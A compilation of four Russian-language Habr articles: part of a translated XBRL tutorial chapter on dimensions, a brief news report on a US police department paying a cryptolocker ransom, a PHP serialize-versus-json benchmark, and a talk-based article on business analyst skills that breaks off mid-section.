> Пример, который мы ранее использовали, очень хорошо подходит для иллюстрации:
>
> Нам лишь надо определить концепт nr\_employees и пару измерений: gender (пол) со значениями {‘men’, ‘women’} и age group (возрастная группа) со значениями {‘...–20’, ‘21–40’, ‘41–…’}.
>
>
>
> Отчет содержит набор контекстов для каждого сочетания периода и измерения, и каждому контексту соответствует свой факт:
>
>
>
> | Контекст | Факт |
> | --- | --- |
> | 01-01-2015 | nr\_employees = 35 |
> | 01-01-2015 + ‘men’ | nr\_employees = 23 |
> | 01-01-2015 + ‘women’ | nr\_employees = 12 |
> | 01-01-2015 + ‘...–20’ | nr\_employees = 5 |
> | 01-01-2015 + ‘21–40’ | nr\_employees = 23 |
> | 01-01-2015 + ‘41–…’ | nr\_employees = 7 |
> | 31-12-2015 | nr\_employees = 41 |
> | 31-12-2015 + ‘men’ | nr\_employees = 27 |
> | 31-12-2015 + ‘women’ | nr\_employees = 15 |
> | 31-12-2015 + ‘...–20’ | nr\_employees = 9 |
> | 31-12-2015 + ‘21–40’ | nr\_employees = 21 |
> | 31-12-2015 + ‘41–…’ | nr\_employees = 11 |
>
>
>
>
#### 5.1.1. Понятия измерений
Спецификация XBRL Dimensions использует ряд понятий, которые кратко представлены здесь и будут более подробно разобраны в следующем разделе.
* **Измерение** (dimension)
Измерение – это по сути категоризация фактов. Измерения определяются в Таксономии элементов домена (Domain Members Taxonomy, DMT), а ее элементы могут использоваться в контекстах отчета для категоризации передаваемых фактов.
* **Домен** (domain) и **Элементы домена** (domain members)
Набор допустимых значений измерения называется его доменом. Элемент домена – это одно из этих значений. Есть два типа элементов: типизированные (typed) и явные (explicit). Типизированные элементы определяются синтаксическими ограничениями, напр. «целые числа от 0 до 100». Явные элементы домена являются item-концептами, которые явно указываются элементами домена измерения. Получается *перечисление* элементов, напр. ‘men’ и ‘women’ для измерения gender.
* **Гиперкуб** (hypercube)
Измерения могут быть объединены, напр. «продажи по региону и продуктовой линии» или «количество сотрудников по полу и возрастной группе». Набор возможных значений такой комбинации измерений можно представить в виде элементов в n-мерном пространстве:
+ при n = 1 элементы образуют отрезок на прямой;
+ при n = 2 элементы образуют квадрат на плоскости;
+ при n = 3 элементы образуют куб в пространстве;
+ случаи n > 3 не так легко визуализировать, поскольку мы живем в трехмерном пространстве; *математический* термин для таких случаев – гиперкуб.
* **Первичная таксономия** (primary taxonomy)
Это обычная таксономия в соответствии со спецификацией XBRL. Она определяет концепты, по которым могут формироваться отчеты. Спецификация XBRL Dimensions берет на себя заботу о том, чтобы не требовалось никаких изменений в первичной таксономии.
* **Таксономия элементов домена** (domain members taxonomy, DMT)
Измерения и элементы измерений определяются как концепты DMT.
* **Таксономия шаблонов** (template taxonomy)
Объединяет первичную таксономию и таксономию элементов домена, определяя структуру гиперкубов и связывая их с первичными концептами.
> Спецификация определяет три типа таксономий. Это разделение на три типа – лишь концепция. Можно использовать три отдельные таксономии, но спецификация не требует использования отдельных таксономий для каждого из типов. Комбинировать разные типы в одной таксономии – совершенно нормально. Допустимо даже использовать концепт в качестве первичного концепта в одной взаимосвязи, и в качестве элемента измерения в другой.
### 5.2. Таксономии измерений
В этом разделе рассматривается способ расширения таксономий для применения спецификации XBRL Dimensions. Начну с архитектурной диаграммы, показывающей, как все компоненты связаны между собой.
Следующие подразделы описывают каждый компонент архитектуры более подробно.
#### 5.2.1. Измерения
DMT определяет измерения как абстрактные item-концепты со значением `xbrldt:dimensionItem` атрибута substitution group.
*Примечание: Атрибуты `xbrli:balance`, `xbrli:periodType` и `nillable` игнорируются.*
Измерения могут быть типизированными или явными, как было сказано выше, в каждом из них используется свой способ определения элементов домена.
##### 5.2.1.1. Типизированное измерение (typed dimension)
Определение типизированного домена должно иметь значение атрибута `xbrldt:typedDomainRef`, которое ссылается на объявление элемента, определяющего домен измерения.
Домен определяется с использованием типов XML Schema:
* Тип `SimpleType` может, к примеру, определить в качестве идентификатора клиента компании значения от 0 до 100 в виде целого числа или строки длиной 5 символов;
* Тип `ComplexType` может быть использован для определения адреса, включающего в себя город, улицу, номер дома, индекс и т.д.
##### 5.2.1.2. Явное измерение (explicit dimension)
Домен явного измерения идентифицируется связью `dimension-domain` от измерения к *корню* сети связей `domain-member` между элементами домена. В явном измерении не может содержаться атрибут `xbrldt:typedDomainRef`.
Элементами домена измерения являются все qname-элементы в сети связей `domain-member`. Каждый элемент – это определение item-концепта со значением `xbrli:item` атрибута substitution group (он не может принадлежать к группе `xbrldt:hypercubeItem` или `xbrldt:dimensionItem`).
Связи `domain-member` образуют иерархию элементов. Можно добавлять элементы в иерархию, например, чтобы создать корень вложенной иерархии, который не предназначен для использования в качестве элемента домена. Для этого в булевом атрибуте `usable`, имеющего по умолчанию значение `true`, указывается значение `false`.
У явного измерения может быть указан элемент по умолчанию, это делается с помощью связи `dimension-default` к элементу домена. Это значение по умолчанию используется в контексте, если не задано ни одного элемента измерения. Само значение по умолчанию в не может быть явно указано в контексте, оно всегда определяется автоматически.
Обратите внимание, что связь `dimension-default` сама по себе не добавляет элемент в домен и не является эквивалентом связи `domain-member`.
##### 5.2.2. Связи `domain-member` и наследование (inheritance)
Первичные концепты могут *наследовать* гиперкубы других первичных концептов путем указания связи `domain-member` между первичными концептами.
> Предположим, у нас есть два первичных концепта, один из которых (item) связан с гиперкубом hc\_age, а другой (another item) – связью `domain-member` с первым концептом:
>
>
>
> 
>
>
>
> Так как у первого концепта есть связь с измерением age\_group через гиперкуб hc\_age, а второй концепт имеет связь `domain-member` с первым концептом – второй концепт *наследует* измерение age\_group.
##### 5.2.3. Гиперкубы (hypercube)
Гиперкубы определяются в таксономии шаблонов (template taxonomy) путем объединения нуля (гиперкуб может быть пустым) и более измерений.
Объявляющий элемент является абстрактным концептом, который должен иметь значение `xbrldt:hypercubeItem` атрибута substitution group.
Измерения связываются с гиперкубом дугами с ролью `hypercube-dimension`. Эти отношения упорядочены значением атрибута `order` в каждой дуге. Дуги не могут образовывать циклических связей.
##### 5.2.4. Связь первичных концептов с гиперкубами
При создании таксономии с измерениями вам захочется иметь возможность контролировать, с какими измерениями может быть связан каждый из концептов. Таксономия шаблонов обеспечивает такую возможность путем определения связей между гиперкубами и первичными концептами через связи `has-hypercube` между первичным концептом и концептом гиперкуба.
Есть два типа связей `has-hypercube` – `all` и `notAll`:
* связь типа `all` используется для определения измерений (и элементов измерений), которые разрешены для концепта;
* связь типа `notAll` используется для определения измерений (и элементов измерений), которые не разрешены.
Сочетание этих типов связей позволяет точно контролировать состав измерений и элементов измерений для каждого концепта.
> Предположим, у нас есть два гиперкуба:
>
>
>
> 
>
>
>
> Первичный концепт со связью `has-hypercube` типа `all` с кубом hc\_age\_x\_gender может иметь все элементы измерений gender и age\_group. Если мы добавим к этому концепту связь типа `notAll` с гиперкубом hc\_exclude, элемент ‘Female’ измерения gender и элемент ‘...–20’ измерения age\_group станут ему недоступны.
Связь `has-hypercube` должна указывать, в какой части контекста должны быть определены измерения – `segment` или `scenario`, для этого предназначен атрибут `contextElement`:
* значение `segment` используется для измерений, которые определяют часть организационной структуры формирующей отчет компании, напр. отдел, регион и т.д.;
* значение `scenario` используется для измерений, не связанных с организационной структурой компании, таких как возрастная группа, продукт и т.д.
Чтобы указать, что концепту доступны только элементы внутри измерений гиперкуба, в необязательном булевом атрибуте `closed` связи `has-hypercube` указывается значение `true`. Этот атрибут применяется только к сегменту сценария в соответствии со значением атрибута `contextElement` в связи. Значением по умолчанию является `false`, которое оставляет сегмент или сценарий открытым.
#### 5.2.5. Наборы взаимосвязей измерений (dimensional relationship sets, DRS)
Определенные в XBRL Dimensions взаимосвязи включаются в базы ссылок определений (definition linkbase). В соответствии со спецификацией XBRL, взаимосвязи группируются в сети в соответствии с их ролями. Это называют базовым набором взаимосвязей.
Спецификация XBRL Dimensions расширяет понятие базового набора путем введения атрибута `targetRole` для таких типов связей как `all`, `notAll`, `hypercube-dimension`, `dimension-domain` и `domain-member`. Атрибут `targetRole` ссылается на другую роль и определяет переход от базы ссылок в одном базовом наборе к базе ссылок в базовом наборе с указанной в атрибуте ролью. Набор таких сгруппированных взаимосвязей называется Набором взаимосвязей измерений, DRS.
Создание DRS может быть полезным и даже необходимым, когда таксономия измерений становится все более сложной. Без DRS вы скорее всего включите элементы в измерения, которым они не принадлежат или добавите измерения не в те гиперкубы. Вы можете запросто получить набор взаимосвязей, которые не имеют никакого смысла или могут даже оказаться противоречивыми и невалидными.
> Этот механизм перехода от одной базы ссылок (роли) к другой делает процесс валидации таксономии или отчета намного более сложным, так как взаимосвязи существуют вне границ базовых наборов, как это определено в спецификации XBRL.
>
>
>
> Спецификация XBRL Dimensions использует понятие *последовательных взаимосвязей* (consecutive relationship). Оно означает, что, например, элементы гиперкуба определяются сначала по взаимосвязи `hypercube-dimension`, а затем для всех найденных измерений – последовательно по каждой из связей `domain-member`.
>
>
>
> Все последовательные взаимосвязи находятся в пределах одной роли баз ссылок, если не определено значение атрибута `targetRole`. Если же в дуге этот атрибут присутствует, то поиск взаимосвязей переходит в базу ссылок с указанной ролью. Последовательные взаимосвязи в исходной базе ссылок (роли) в этом случае отсутствуют.
>
>
>
> Взаимосвязи, которые могут быть *объединены* как последовательные, ограничены тем, что вы бы логично ожидали – связи `has-hypercube` (`all`, `notAll`) могут иметь `hypercube_dimension` в качестве последовательных взаимосвязей, но не `dimension_domain` или `domain_member`, так как они пропускают связи.
### 5.3. Измерения в отчетах XBRL
Как говорилось во введении, измерения используются в сегменте или сценарии контекстов отчета. Выбор между ними производится с помощью атрибута `contextElementType` связи `has-hypercube`.
### 5.3.1. Типы элементов измерений
#### 5.3.1.1. Типизированные элементы (typed member)
Для *типизированных измерений* значения указываются как дочерние элементы `xbrldi:typedMember` внутри сегмента или сценария. Атрибут `dimension` таких элементов должен ссылаться на определение типизированного измерения. Содержанием `typedMember` является элемент с типом как у измерения, указанного в атрибуте `xbrldt:typedDomainRef`. Значением для измерения является значение этого элемента.
> Предположим, у нас есть измерение ageDim типа age с целочисленными значениями от 0 до (будем оптимистами) 150. Значение измерения 45 задается как дочерний элемент age внутри, к примеру, сегмента следующим образом:
>
>
>
>
> ```
>
> 45
>
> ```
>
>
>
#### 5.3.1.2. Явные элементы (explicit member)
Для *явных измерений* значения указываются с помощью элементов `xbrldi:explicitMember`. Атрибут `dimension` таких элементов должен ссылаться на определение явного измерения. Значением для измерения является содержание этого элемента и оно должно быть qname-элементом одного из явно определенных значений измерения.
> Предположим, у нас есть измерение ageGroupDim со следующими явно определенными элементами: ageLessThan20, ageFrom21To40 и age41OrMore. Значение измерения для возрастной группы 21–40 задается дочерним элементом внутри, к примеру, сегмента следующим образом:
>
>
>
>
> ```
> d:ageFrom21To40
> ```
>
>
>
#### 5.3.2. Валидация (validation)
Спецификация XBRL Dimensions дополняет набор правил валидации из спецификации XBRL.
#### 5.3.2.1. Валидация первичных фактов
Факты по первичным концептам должны валидироваться на основании концепта и контекста. Факт автоматически считается валидным по измерениям, если для его концепта не определены связи `has-hypercube`.
Если в концепте определены связи `has-hypercube`, указанные ими гиперкубы должны быть валидными по измерениям. Контекст факта должен содержать валидную комбинацию элементов домена или значений для каждого из связанных с ним измерений гиперкуба в пределах как минимум одного базового набора. Если не задано ни одного значения измерения, используется значение измерения по умолчанию (при его наличии). Недопустимо указывать более одного значения измерения.
Обратите внимание, что при определении валидности указанного значения в пределах измерения учитываются такие атрибуты как `usable` в связях `domain-member` и `closed` в связях `has-hypercube`.
> Потребовалось несколько страниц спецификации XBRL Dimensions для описания нормативного определения валидации по измерениям, поэтому реальность чуть более сложна, чем я описал здесь. Тем не менее, приведенные выше простые правила и здравый смысл должны дать вам неплохое понимание того, что же такое валидация по измерениям.
#### 5.3.3. Равенство по измерениям
Спецификация XBRL Dimensions добавляет новый тип равенства к приведенному в спецификации XBRL обширному перечню – *d-равенство* (d-equal). Два факта считаются d-равными для одного измерения, если они имеют одно и то же значение этого измерения.
---
##### Навигация по главам
* [Комментарий от переводчика](https://habrahabr.ru/post/333636/#kommentariy-ot-perevodchika)
* [Глава 1. Введение](https://habrahabr.ru/post/333636/#1-vvedenie)
* [Глава 2. Что такое XBRL?](https://habrahabr.ru/post/333656/)
* [Глава 3. Анатомия таксономии](https://habrahabr.ru/post/333738/)
* [Глава 4. Отчет XBRL](https://habrahabr.ru/post/333896/)
* [Глава 5. Открывая новые измерения](https://habrahabr.ru/post/334252/)
* [Глава 6. Погружение в XBRL](https://habrahabr.ru/post/334356/)
+ [Часть 1. Приступаем](https://habrahabr.ru/post/334356/#61-pristupaem)
+ [Часть 2. Совершенствуем результат](https://habrahabr.ru/post/335788/)
+ [Часть 3. Вычисления и валидация](https://habrahabr.ru/post/336114/)
+ [Часть 4. Как облегчить жизнь](https://habrahabr.ru/post/336230/)
+ [Часть 5. Новые измерения](https://habrahabr.ru/post/336506/)
+ [Часть 6. Многомерность](https://habrahabr.ru/post/336818/)
* [P.S. от переводчика](https://habrahabr.ru/post/336818/#ps-ot-perevodchika) | https://habr.com/ru/post/334252/ | null | ru | null |
# Полиция США поймала «подарок»
Наверняка, многие слышали или возможно даже сталкивались с такой штукой как криптолокеры. Это вредоносное ПО, которое шифрует файлы пользователя и требует выкуп за расшифровку. В России данный «подлец» живет уже давно, а вот страны Европы начали осваивать методы отправки денег за расшифровку накопленных за годы документов относительно недавно. В США сейчас идет всплеск активности, за последнюю неделю заражено уже 12 тысяч машин.
Способ распространения вымогателей достаточно прост, стоит зайти на сайт «любимой» тематики, пока дети в школе и скачать плеер для просмотра видео, либо открыть PDF файл с эксплоитом, полученным от товарища, чей почтовый аккаунт был взломан и использован в качестве спам рассыльщика. В общем много их. Как правило шифрование применяется для файлов:
`*.odt, *.ods, *.odp, *.odm, *.odc, *.odb, *.doc, *.docx, *.docm, *.wps, *.xls, *.xlsx, *.xlsm, *.xlsb, *.xlk, *.ppt, *.pptx, *.pptm, *.mdb, *.accdb, *.pst, *.dwg, *.dxf, *.dxg, *.wpd, *.rtf, *.wb2, *.mdf, *.dbf, *.psd, *.pdd, *.eps, *.ai, *.indd, *.cdr, ????????.jpg, ????????.jpe, img_*.jpg, *.dng, *.3fr, *.arw, *.srf, *.sr2, *.bay, *.crw, *.cr2, *.dcr, *.kdc, *.erf, *.mef, *.mrw, *.nef, *.nrw, *.orf, *.raf, *.raw, *.rwl, *.rw2, *.r3d, *.ptx, *.pef, *.srw, *.x3f, *.der, *.cer, *.crt, *.pem, *.pfx, *.p12, *.p7b, *.p7c, *.pdf, *.tif`
Буквально на прошлой неделе агентство национальной безопасности Великобритании призывало граждан не платить злоумышленникам, поскольку гарантий за восстановление файлов никто не даёт. Но сейчас на удочку попалась полиция США. Как департамент полиции города Swansea поймал вредонос не сообщается, зато сообщается, что ими было выплачено 2 биткоина (примерно 750$).
"*Нам дали 100 часов, чтобы заплатить, иначе файлы будут зашифрованы навсегда. Таймер начал обратный отсчет.*", сказали в департаменте. Шифрование было применено к нескольким изображениям и текстовым документам. В результате оплаты полиция получила ключ и успешно расшифровала файлы. | https://habr.com/ru/post/203410/ | null | ru | null |
# Производительность кодирования и декодирования serialize и json — часть вторая
[Первая часть](http://habrahabr.ru/blog/php/47851.html) моей публикации получила ряд конструктивных комментариев, которые дали толчок разобраться в проблеме более детально.
Комментарии к записи подсказали, а мои дальнейшие эксперименты доказали, что скорость работы рассматриваемых мною функций очень сильно варьируется в зависимости как от структуры данных, которые им передали, так и от типа данных.
Исходных код теста, которым производились изменения немного переработан относительно первой части, но основа осталась прежней: <http://pastie.org/242453>
Итак, рассмотрим самое простое — какое влияние оказывает на скорость работы возрастающая вложенность данных:
Каждый элемент массива данных представлял собой:
`В первом случае:
array ('1234667890', '1234667890', '1234667890', '1234667890', '1234667890');
Во втором случае:
array (array ('1234667890'), array ('1234667890'), array ('1234667890'), array ('1234667890'), array ('1234667890'));
В третьем случае:
array (array (array ('1234667890')),array (array ('1234667890')),array (array ('1234667890')),array (array ('1234667890')),array (array ('1234667890')));`
**Вывод 1. С ростом вложенности упаковака json становится в разы быстрее serialize, однако обратные операции выполняются по скорости почти одинаково.**
Далее — рассмотрим целые и дробные числа (первые восемь групп столбцов на графике, метки «int» и «f»).
[](http://ipicture.ru/uploads/080728/49i33gya6z.jpg)
В качестве данных в массиве выступали случайные числа от 0 до 100 (1), от 1000 до 10 000 (2), от 100 000 до 1 000 000 (3) и от 1 000 000 до 10 000 000 (4). Для первых четырёх колонок бралось целое число, для второй четвёрки — дробное.
**Вывод 2. На целых числах json чуть быстрее при упаковке, и чуть медленнее при распаковке.**
**Вывод 3. На дробных числах json в разы быстрее при упаковке, и чуть медленнее при распаковке.**
Самое интересное — последние восемь групп столбцов. Там в качестве элементов массива данных выступают случайные последовательности из 5, 20, 50 и 100 латинских символов (l) и кириллицы в UTF-8 (k).
**Вывод 4. На длинных латинских строках json в разы медленнее.**
**Вывод 5. На символах UTF-8 json в разы быстрее.**
В эпилоге хочется сказать, что все эти исследования несли больше теоретическую, нежели практическую ценность — ибо в каждом конкретном случае тип данных будет смешанным и вам понадобятся тесты именно под ваши данные. Плюс — речь идёт действительно о таких микроскопических выигрышах, пользу от которых можно увидеть разве что при ОЧЕНЬ больших объемах данных.
PS: Первая данного повествования была опубликована на моём личном блоге, после чего буквально за несколько минут набрала достаточно баллов, чтобы попать в блог PHP. После чего совершенно непостижимым для меня образом попала на первую страницу, что меня несказанно порадовало =) | https://habr.com/ru/post/30234/ | null | ru | null |
# Полезные навыки аналитиков. Как стать профессионалом
В прошлом году в Санкт-Петербурге прошла конференция бизнес и системных аналитиков в разработке ПО. Был там довольно интересный доклад минчан Марии и Сергея Бондаренко, под названием [«Полезные навыки аналитиков. Как стать профессионалом»](http://analystdays.com/talk/7907). Ниже публикуем статью, сделанную на основе доклада.
Доступно также и видео доклада:
http://video.yandex.ru/users/sqadays/view/8
и презентация: [www.slideshare.net/VLDCORP/ss-21928819](http://www.slideshare.net/VLDCORP/ss-21928819)
Моя тема — полезные навыки аналитиков и нацелена на то, чтобы показать вам возможности по профессиональному развитию в области бизнес анализа.
**Коротко о себе**
Мария Бондаренко, директор белорусско-немецко-русской компании GP software по разработке ПО в области туризма; в ИТ работает более 10 лет
Сергей Бондаренко, работает в компании Itransition (почти 1000 чел.), занимается руководящими задачами (в т.ч. в подразделениях аналитики)
**Цели доклада**
Что хочется показать и рассказать в докладе:
Для начинающих (опыт аналитики менее года) — дать общее понимание об отрасли, какие навыки могут быть нужны и какие есть горизонты развития
Для опытных аналитиков: открыть неведомые горизонты, которые вы не могли увидеть в контексте ваших задач, а также показать мощь и ширь области бизнес-анализа
##### Откуда берутся аналитики?
На вопрос «Кто из аналитиков получил профессиональное образование» — положительно ответили лишь единицы из присутствующих на конференции.
Из тестирования и разработки пришло намного больше. Некоторые пришли даже из лингвистического университета.
В общем, область бизнес-анализа сейчас достаточно молодая.
И не так много получают профессиональное образование в данной области. А как раз-таки как получается, так и становится: есть такая вакансия, вы решаете «а почему бы не попробовать?» и вот начинается ваша карьера бизнес аналитика.
##### Как развиваются аналитики?
Что происходит дальше? Дальше вы начинаете работать, выполнять какие-то задачи и шагать по карьерной лестнице внутри компании. Но ваш спектр задач обычно ограничен только теми проектами, которые выполняет данная компания. Соответственно, если вы придете в одну компанию и спросите: «Вот здесь есть бизнес-аналитики, а чем вы занимаетесь? А что такое бизнес-анализ?» Или придёте в другую компанию и спросите «А что такое бизнес-анализ», вы можете получить 2 совершенно разных ответа.
Для того чтобы хоть как-то улучшить эту ситуацию, вы пытаетесь читать книжки, читать информацию в интернете и набирать как-то этот опыт, но, тем не менее, опять-таки это всё происходит достаточно хаотически. Соответственно, происходит такая сборная солянка в голове, вы варитесь в собственном соку и не хватает полноты понимания контекста бизнес-анализа.
##### К чему это может приводить?
Неоднократно видела на собеседованиях, когда ко мне приходили устраиваться на работу специалисты (а у нас в компании распространена позиция, в которой менеджер проектов и аналитик совмещены) и ребята говорили: «Вообще в бизнес-анализе я уже знаю всё, теперь хочу попробовать себя в области менеджмента». В общем-то, приходят к тому, что видя только какую-то подобласть бизнес-анализа, делают вывод, что это всё, что может быть. Вторая возможная реакция, это то, что вы не знаете, куда двигаться дальше, вам становится грустно, вы недостаточно эффективны на своих проектах и, возможно, даже не знаете, что есть какие-то средства, как повысить данную эффективность, чтобы увеличить контекст понимания данной области.
Далее мы к этому перейдем.
##### Может лучше так?
Хочется вам показать возможные роли бизнес-аналитика в проектах, возможные области деятельности и необходимые навыки, личностные характеристики и инструменты, которые вам могут быть полезны. Ниже я буду тезисно обозначать, что может быть нужно, т.к. по каждому из них можно устраивать отдельный доклад или отдельный тренинг, поэтому далее рекомендую вам самостоятельно погружаться в те области, которые вы для себя отметите интересными.
##### Кто такой аналитик?
В процессе подготовки доклада получилось выделить несколько областей, в которых работают бизнес-аналитики:
• Requirements Management (Управление требованиями)
• Research&Analysis (Исследования и анализ данных)
• Processes Engineering (Моделирование процессов)
• Modeling&Design (Проектирование ИС)
• Delivery (Внедрение)
• Consulting (Консалтинг)
###### Управление требованиями
Самое очевидное — это **управление требованиями**. Это человек, который собирает требования, который их анализирует, управляет изменениями и который следит за тем, чтобы все участники проекта были в курсе актуальных требований, чтобы они были донесены правильно до команды разработки и чтобы результат работы соответствовал тем пожеланиям, которые были первоначально у клиента. Но это не всё.
###### Исследование и анализ данных
Есть еще порядка 6 областей, чем занимаются аналитики. Следующая область — **исследование и анализ данных**: общая задача по работе с данными. Проанализировать, какие системы есть уже на рынке с аналогичным функционалом, найти эти системы, сравнить их, предоставить информацию, какая из них лучше подходит под текущие задачи проекта. Второй срез данной роли аналитика — это анализ работы системы и выработка определенных выводов. Т.е. общеаналитические задачи.
###### Моделирование процессов
Следующая возможная роль аналитика на проектах — это область **моделирования процессов**. Не всегда бизнес-аналитики, которые работают в ИТ и занимаются непосредственно разработкой и управлением требованиями и проектированием систем, знают, что, в общем-то, первоисточники их задач лежат в области бизнес-процессов, в области бизнеса клиента. Клиент как-то выполняет сейчас те или иные операции и ПО ему сейчас не требуется. Но в процессе анализа своей текущей ситуации можно прийти к выводу, что процессы не оптимальны, что их надо реорганизовать и, соответственно, появляется задача разработать ПО. Вот, собственно, кто поможет клиенту посмотреть на его бизнес-процессы, описать и трансформировать их в более оптимальное состояние? Это тоже задача бизнес-аналитика.
###### Проектирование ИС
Следующая сфера деятельности бизнес-аналитика — это **проектирование информационных систем**. Причем проектирование бывает разное. И в зависимости от навыков аналитиков вы можете более глубоко копать в эту область или менее. Например, самый простой уровень проектирования систем — это набросать мокапы или прототипы экранов и далее уже передавать это юзабилити-специалистам или дизайнерам, чтобы они прорабатывали более подробно. С другой стороны, если вы глубже владеете данными навыками, например, юзабилити, по удобству использования, вы можете совмещать роль юзабилити-специалиста. Т.е. в принципе это может являться частью работы бизнес-аналитика.
###### Внедрение ПО
Следующая возможная область деятельности аналитиков — это **внедрение ПО**, в частности, когда продукт уже разработан, этот продукт нужно внедрять, нужно кастомизировать у клиента (если речь идёт о крупных системах). Это сфера деятельности, которая требует особых навыков и умений.
###### Консалтинг
И **консалтинг**. Чем глубже вы работаете в индустрии, чем лучше и выше практические навыки, тем более сложные задачи вам могут поручать и тем больше вы можете выступать экспертом в глазах клиента, а не просто проводником его требований разработчикам. Причем консалтинг может быть даже не связан непосредственно с выполнением проекта. Просто консультации клиента по технологическим вопросам, по бизнес-вопросам. Это тоже сфера деятельности бизнес-аналитика.
##### Hard & Soft Skills
В связи с этим спектром возможных задач выделяются определенные навыки, которые позволяют выполнять их более профессионально. Классическое деление навыков — hard и soft. Hard навыки — это знание инструментов, технологий, методик или нотаций, или того, чему можно обучиться. Soft навыки — это личностные и межличностные характеристики, которые даются ему с рождения, но они тоже развиваются и их тоже можно тренировать и по ним есть методики развития.
В рамках данных навыков и разреза возможных ролей аналитика на проектах можно обозначить следующие зависимости (см. таблицу).
##### 1. Hard skills
Для удобства все навыки из группы hard skills мы разделили на 7 групп: базовые компетенции, теория и техники анализа, основы бизнеса, знания по разработке ИС, документирование, дополнительные компетенции, иностранные языки. На пересечениях ролей и компетенций обозначено, для каких задач аналитику необходимы те или иные навыки.
По иностранным языкам: знаки вопроса стоят потому, что, в принципе, может быть шикарный аналитик, работать на локальном рынке и ему будет достаточно только русского языка для выполнения своих работ. Но учитывая, что область бизнес-анализа достаточно молодая и на русском языке не так много литературы, форумов и сообществ, в которых вы можете узнавать информацию, конечно, знание иностранных языков позволит лучше развиваться и получать больше профессиональных знаний, нежели вы знаете только 1 язык.
Что касается soft-навыков, они были разбиты на несколько групп и определены критерии, для каких ролей наиболее важны те или иные soft-навыки.
Ниже мы расскажем подробнее про все перечисленные hard и soft skills.
Опишем hard-skills, предполагающие чисто технические навыки. Они проще всего тренируются и достаточно важны, т.к. лежат в основе эффективной работы аналитика.
###### 1.1 Базовые компетенции
Что входит в базовые компетенции?
Это ряд вещей, которым вы должны научиться еще до того, как вы начнете шагать в область бизнес-анализа. Они позволят ваши мысли облечь в определенную форму. Это достаточно несложные вещи, но основные, которым отдельно вас учить никто не будет. Подразумевается, что у вас это должно быть.
**a. Деловая этика**
Во-первых, общая деловая этика, навыки общения по телефону, навыки письменной корреспонденции. А именно, такие задачи как: как правильно написать письмо (начать с приветствия, в конце поставить завершающую фразу, побуждающую клиента к действию, и подпись), как нужно общаться с клиентом по телефону. Это, естественно, должно быть известно вам заранее. Почему я об этом говорю — лично видела ситуации, когда аналитики приходили на проект и письма выглядели так: «Не можете ли вы прислать нам актуальную документацию по проекту?» Ни «здравствуйте», ни «до свидания». Это просто не красиво. Это базовый навык, который у вас должен быть и о котором даже говорить не надо.
**b. Навыки работы в интернете**
Следующий навык — умение работать в интернете, работать с инстант-мессенджерами (Skype, например, очень популярен в настоящее время). За счет них вы сокращаете дистанцию и клиент может к вам обратиться онлайн. В Skype можно формировать групповые обсуждения, всю команду подключать к общению с клиентом и тогда вопросы по проекту решаются быстрее. Также следует знать, что такое демонстрация экрана, как пересылать файлы и т.д.
**c. Совместная работа**
Следующий блок — это умение совместной работы. Вам помогут знания таких инструментов, как Google Drive
Goggle Drive — доступный, бесплатный инструмент, через который возможно обмениваться документами с клиентом и командой разработки. Если у вас в компании не установлен инструмент совместной работы, это самый простой выбор, чтобы давать доступ клиентам к документам. И что еще важно — вы можете одновременно и совместно работать над одним и тем же документом. Мы используем такую технику — открываем вместе с клиентом документ с требованиями и обсуждаем, что и в каком порядке должно быть реализовано. Вы изменяете у себя в документе приоритеты и клиент через пару секунд видит это у себя на экране.
**d. Онлайн-конференции**
В этой же группе — инструменты для онлайн-конференций. Очень полезно, когда аналитик не просто пересылает клиенту документы, а демонстрирует, в частности, промежуточные версии работоспособности системы, показывает прототипы. Для этого вам понадобится некая площадка. Конечно, есть вариант, что вы приезжаете к клиенту, если он находится в той же стране и городе. Но часто мы работаем с западными заказчиками или удаленными командами. Среди этих инструментов онлайн-конференций — GoTo Meeting и GoTo Webinar (это из одной серии), WebEx и другие. Причем они могут пригодятся не только для презентации результатов, но и для сбора требований.
**e. Wiki-хранилище**
Может быть полезен еще такой инструмент, как MediaWiki. Это онлайн-библиотека, наподобие всем известной Wikipedia, которую вы можете локально развернуть для своего клиента и всей команды силами своего администратора. В ней можно вести документацию и что хорошо, что не нужно сохранять файлы на хранилище для отслеживания версий, пересылать коллегам, вы не сможете забыть файл — всегда доступен актуальный контент. Например, руководство пользователя или спецификации можно писать в MediaWiki.
**f. Скорость чтения и печати**
Еще один блок базовых компетенций hard-навыков — это скорочтение и скоропечатание (хотя могут быть споры, можно ли это отнести к soft-skills).
Аналитику нужно обрабатывать много информации: с одной стороны, много читать (изучать и осмысливать), а с другой, много писать (фиксировать результаты), поэтому вам будет крайне полезно в вашей профессиональной карьере, если вы натренируете эти 2 навыка. Например, можете сравнить — средний навык печати это 100 символов в минуту, я печатаю со скоростью 400 символов в минуту. Если все понятно, что писать в документе и нужно только словами зафиксировать договоренности, написать протокол договоренности с клиентом, то можете себе представить — у меня это занимает в 4 раза меньше времени, нежели среднестатистическому специалисту. Соответственно, повышая у себя этот навык, вы делаете себя более эффективным и экономите время на своих проектах.
**g. Офисные инструменты**
Также в рамках базовых навыков хотелось бы отметить еще ряд инструментов, такие как офисные инструменты (Word, Excel, PowerPoint и Visio), которые позволяют качественно и наглядно представлять результаты вашей работы. Если вы умеете открыть документ Word и умеете печатать там текст, но не умеете настраивать стили заголовков и таблиц, оформить примечания, использовать шаблоны и свойства документа. Или можете открыть документ Excel и знаете, что из себя представляет электронная таблица, но не владеете формулами, макросами, условным форматированием, то, поверьте, вам еще есть, куда копать в рамках данных инструментов. Просто в целях интересах можете открыть справку о программе или какой-нибудь тест по данной программе, и узнаете многое, что, оказывается, вы до этого не знали. Соответственно, здесь всегда есть простор для развития.
**h. Визуализация**
Следующий инструмент — это MindManager. Тоже достаточно полезная программа, которая относится к базовым навыкам и позволяет в виде диаграммы связей (mindmap) структурировать информацию.
**i. Графические редакторы**
Аналитикам также могут быть полезны и графические редакторы — не только сложный Photoshop, но и, например, классический Paint. Есть еще более мощная программа — SNAGIT — рекомендую.
**j. Мультимедиа-редакторы**
Конечно, для презентаций можно пользоваться PowerPoint, но в современной среде достаточно популярным становится инструмент Prezi. В нем презентации получаются интереснее и интерактивнее. Плюс, если вы овладеете созданием видео-роликов, в частности, программой Camtasia Studio, позволяющий записывать видео-ряд демонстрации работы приложений, то это будет полезно в плане того, что клиент не всегда может уделить вам время сейчас, но вы можете предоставить ему видео-файл, и клиент с большей вероятностью его посмотрит, чем если станет самостоятельно кликать на кнопки системы.
###### 1.2 Теории и техники бизнес-анализа
Следующий блок — теории и техника бизнес-анализа. Это те навыки, которые помогают вам стать непосредственно бизнес-аналитиком.
В этом контексте рассматриваются знания и навыки в сферах:
